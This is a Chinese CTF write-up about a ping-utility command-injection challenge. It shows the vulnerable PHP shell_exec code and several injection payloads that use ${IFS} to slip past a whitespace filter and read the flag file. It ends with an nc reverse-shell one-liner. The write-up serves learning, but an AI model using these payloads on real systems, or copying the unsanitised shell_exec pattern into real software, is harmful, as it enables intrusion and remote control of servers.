命令执行--网络公司ping命令测试

题目地址:http://183.67.184.159:8888/ctf/shellcodeexec/index.php
题目页面如下:

前端校验部分可以通过抓包,改包绕过。
关键代码如下:

<?php 
if(!isset($_POST["iipp"]))
{
    echo '';
}
else
{
    $iipp =preg_replace("/\s/","",$iipp);
    $result=shell_exec('ping -c 4 '.$iipp);
    $result=str_replace("\n","<br>",$result);
    echo $result;
    
}?>

这里preg_replace过滤了换行符,空格,所以空格,%0a,%0d不可以使用。
一般做法是先列出目录(payload:):

iipp=2;find&submit=Ping(find命令直接把当前目录下所有文件及子目录文件列出来)
iipp=2;ls&submit=Ping
iipp=|ls&submit=Ping
iipp=||ls&submit=Ping

由于过滤了空格,换行,所以绕过过滤即可读取flag(payload:)。

iipp=2|cat<key_31321321421543.php&submit=Ping
iipp=2|strings<key_31321321421543.php&submit=Ping
...(各种读文件命令)
iipp=2||cat${IFS}key_31321321421543.php&submit=Ping
iipp=1|cat$IFS$9key_31321321421543.php&submit=Ping

这里还可以反弹shell进行读取文件或者进行其他操作(payload:)。

nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port
...
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 作者:Ahmed Elsobky原文:https://github.com/0xsobky/HackVault/w...
    阳光下的银杏树阅读 10,545评论 0 6
  • 常用语句 safedog检测(--tamper "safedog2.py")py -2 sqlmap.py --r...
    极客圈阅读 6,056评论 0 4
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,951评论 0 9
  • 取证类题目 在CTF中,取证赛题包括了文件分析、隐写、内存镜像分析和流量抓包分析。任何要求检查一个静态数据文件(与...
    查无此人asdasd阅读 1,440评论 0 2
  • 【微公益】【774】【每日经典,伴您早起】【20170607孟子248】 齐饥,陈臻曰:“国人皆以夫子将复为发棠,...
    北冥_鲲阅读 393评论 3 4